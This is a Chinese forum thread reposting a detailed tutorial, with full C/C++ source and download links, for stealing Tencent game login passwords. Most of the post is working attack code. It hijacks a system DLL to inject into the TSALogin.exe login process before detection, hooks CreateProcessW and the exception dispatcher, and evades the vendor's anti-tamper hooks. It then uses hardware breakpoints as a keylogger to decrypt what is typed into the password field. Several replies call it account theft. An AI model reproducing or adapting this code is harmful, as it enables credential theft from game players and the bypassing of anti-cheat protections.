吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9348|回复: 19
收起左侧

[C&C++ 转载] 【资料】TX游戏登陆密码截取(详细,附源码)

  [复制链接]
skyinter 发表于 2016-4-2 14:26
本帖最后由 skyinter 于 2016-4-8 00:05 编辑

标 题: 【原创】TX游戏登陆密码截取(详细,高清有码)
作 者: anywhere杨
时 间: 2015-07-03,11:34:44


Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担
代码:
  • 此文重点:
  • 1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
  • 2、安装消息勾子,判断当前输入焦点
  • 3、自己构造ZwSetContextThread,和ZwGetContextThread
  • 4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
  • 5、实现解密
IDA Console, Courier New, serif">

1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件
   因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)


  • unsigned int  WINAPI _WorkThread(void * lpPram)
  • {
  •   TCHAR tcWorkDll[MAX_PATH];
  •   GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
  •   *( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
  •   _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
  •   hTestModule=LoadLibrary(tcWorkDll);
  •   return 0;
  • }
  • BOOL APIENTRY DllMain( HMODULE hModule,
  •                        DWORD  ul_reason_for_call,
  •                        LPVOID lpReserved
  •            )
  • {
  •   if (ul_reason_for_call == DLL_PROCESS_ATTACH)
  •   {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
  •     if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
  •     {
  •       hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
  •     }
  •     using namespace AheadLib;
  •     return Load();
  •   }
  •   else if (ul_reason_for_call == DLL_PROCESS_DETACH)
  •   {
  •     using namespace AheadLib;
  •     Free();
  •   }
  •   return TRUE;
  • }





2、工作dll(tencent_Login.dll),Hook CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测


  • BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
  •   BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
  •   )
  • {
  •   BOOL bRet =FALSE;
  •   CHAR tcText[MAX_PATH];
  •   if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
  •   {
  •     GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
  •     return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
  •       bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
  •   }
  •   return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
  •     bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
  • }
  • void StartWork()
  • {
  •   DetourTransactionBegin();
  •   DetourUpdateThread(GetCurrentThread());
  •   TCHAR tcText[100];
  •   TCHAR  lpProcessName[50]={0} ;
  •   _tcscpy_s(lpProcessName, GetCurProcessName().c_str());
  •   if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
  •   {
  •     DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);  //HOOK CreateProcess,实现完美注入TSALogin.exe
  •   }
  •   if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
  •   {
  •     DWORD dwOldProtect;
  •     //自己构造  ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
  •     ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
  •     ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
  •     ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
  •     ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
  •     VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
  •     VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
  •     *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
  •     *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
  •     *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
  •     *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread  -(DWORD)g_ZwSetContextThreadZone -5;
  •     /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
  •     OutputDebugString(tcText);*/
  •     //Hook RtlDispatchException
  •     ProcessDispatchException(); //设置硬件断点,监视键盘输入
  •     g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
  •     OutputDebugString(_T("TSALogin.exe注入成功"));
  •   }
  •   DetourTransactionCommit();
  • }
  • extern void StartWork();
  • BOOL APIENTRY DllMain( HMODULE hModule,
  •                        DWORD  ul_reason_for_call,
  •                        LPVOID lpReserved
  •            )
  • {
  •   switch (ul_reason_for_call)
  •   {
  •   case DLL_PROCESS_ATTACH:
  •     g_hMod=hModule;
  •     StartWork();
  •     break;
  •   case DLL_THREAD_ATTACH:
  •     break;
  •   case DLL_THREAD_DETACH:
  •     break;
  •   case DLL_PROCESS_DETACH:
  •     break;
  •   }
  •   return TRUE;
  • }





3、设置硬件断点监视键盘输入, 众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现 加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码


  • BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
  • {
  •   //好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
  •   //g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
  •   //把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
  •   if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
  •   {
  •     g_dwEbp = pContext->Ebp;
  •     g_dwEsp=pContext->Esp;
  •     g_dwJmpAddr =pContext->Eip+5;
  •     __asm
  •     {
  •       mov ebp,g_dwEbp;  //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
  •       mov esp,g_dwEsp;
  •       push ebp;         //手动构造栈空间
  •       mov ebp,esp;
  •       push [ebp+0x10];  //这3个参数是需要的,注意压栈顺序
  •       push [ebp+0xC];
  •       push [ebp+0x8];
  •       call FilterLowLevelMouseProc;
  •       mov esp,ebp;   //还原栈空间了
  •       pop ebp;
  •       //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
  •       push 0x99354893;
  •       jmp g_dwJmpAddr;
  •     }
  •     return TRUE;
  •   }
  •   return FALSE;
  • }ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
  • {
  •   ULONG uRet = 0;
  •   if(RtlDispatchException(pExcptRec,pContext))
  •     uRet= 1;
  •   else
  •       uRet= m_fnRtlDispatchException(pExcptRec,pContext);
  •   return uRet;
  • }
  • void ProcessDispatchException()
  • {
  •   TCHAR tcText[100];
  •   DWORD dwOldProtect;
  •   DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
  •   _stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
  •   OutputDebugString(tcText);
  •   VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
  •   if (dwKiUserExceptionDispatcher)
  •   {
  •     while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
  •       dwKiUserExceptionDispatcher++;  //XP~Win7正常,Win8尚无缘得见
  •     m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher);  //得到原函数地址
  •     //Hook
  •     DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;
  •     WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr);
  •   }
  • }





4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了 0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
代码:


  • bool bPlainCase =true;
  • int  g_Key =0;
  • void  WINAPI FilterLowLevelMouseProc(
  •   _In_  int nCode,
  •   _In_  WPARAM wParam,
  •   _In_  LPARAM lParam
  •   )
  • {
  •    if(nCode == HC_ACTION)
  •    {
  •      PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
  •      if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
  •      {
  •        if( ::GetFocus() == g_hPwd )  //判断是不是在输入密码
  •        {
  •          if( bPlainCase )  //第一次来的是原始虚键码
  •          {
  •            if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )  //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
  •              pKdb->vkCode -=48;
  •            g_Key=pKdb->vkCode;
  •            bPlainCase=false;
  •          }else  //加密的虚键码了
  •          {
  •            if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
  •              pKdb->vkCode -=48;
  •            SetKeyPair(pKdb->vkCode,g_Key);  //用std::<map>来保存密码键对,
  •            bPlainCase=true;
  •          }
  •        }
  •      }
  •    }
  • }



5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密




  • LRESULT CALLBACK GetMsgProc(__in  int code,__in  WPARAM wParam,__in  LPARAM lParam
  •   )
  • {
  •   if( code == HC_ACTION )
  •   {
  •     MSG * pMsg =(MSG*)lParam;
  •     LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
  •     if( !g_hPwd &&
  •       dwStyle & ES_PASSWORD &&
  •       !( dwStyle&ES_MULTILINE) )
  •     {
  •       g_hPwd=pMsg->hwnd;
  •     }
  •     if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
  •     {
  •       if( GetModuleHandle(_T("fszwd.dat")) )
  •         SetMintor();
  •     }
  •     if( pMsg->message ==WM_CHAR )  //用户输入的字符(已加密)
  •     {
  •       TCHAR tcTetxt[50]={0};
  •       SHORT sVk=0;
  •       SHORT sOrgVk=0;
  •       if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd  )  //同样判断是不是在输入密码
  •       {
  •         if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' )    //大写的字母不能直接翻译成虚键码
  •           sVk =  VkKeyScan(pMsg->wParam+0x20);
  •         else
  •           sVk = VkKeyScan(pMsg->wParam);
  •         sOrgVk = GetPlainVkcode(sVk);   //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
  •         if( sOrgVk )  //解密
  •         {
  •           _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
  •         }else
  •           _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
  •       }else
  •       {
  •         _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
  •       }
  •       OutputDebugString(tcTetxt);
  •     }
  •   }
  •   return CallNextHookEx(0,code,wParam,lParam);
  • }





到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下
  梦无极,硬件断点 hook的思路是从他的过驱动保护教程教程里面学习的
  yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,


*转载请注明来自看雪论坛@PEdiy.com


屌丝:链接: https://pan.baidu.com/s/1nuA2FEx 密码: 1bka

rasadhlp.rar (6.13 KB, 下载次数: 57) tencent_Login.rar (118.85 KB, 下载次数: 52) 劫持dll代码生成工具.zip (36.47 KB, 下载次数: 55)



吗的,你那只眼看到我原创两个字了?@puppets


看也不看清楚就开始BB,最后面两个看不清楚吗?



点评

黑心讨论 共同盗号  发表于 2016-4-3 13:43

免费评分

参与人数 8热心值 +8 收起 理由
Quincy379 + 1 谢谢@Thanks!
菜鸟也想飞 + 1 我很赞同!
HCK1997 + 1 黑心讨论 共同盗号
唯一哟i + 1 黑心讨论 共同盗号
相依丶稻草人 + 1 黑心讨论 共同盗号
by丶小虫 + 1 用心讨论,共获提升!
lixinpeng + 1 谢谢@Thanks!
我只做我自己 + 1 可以可以,骚年不错

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

520_ai_in@sina. 发表于 2016-4-2 14:35
大神啊膜拜
lixinpeng 发表于 2016-4-2 14:39
我欲封天 发表于 2016-4-2 14:40
zange 发表于 2016-4-2 14:42
不会用啊,看着不错的样子
头像被屏蔽
lawvon 发表于 2016-4-2 14:57
提示: 作者被禁止或删除 内容自动屏蔽
微若清风 发表于 2016-4-2 14:58
谢谢楼主分享
chaselove 发表于 2016-4-2 15:02
大神,膜拜下
新晨网络 发表于 2016-4-2 15:12 来自手机
谢谢分享
xu475312 发表于 2016-4-2 15:12
牛逼啊,谢谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:45

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表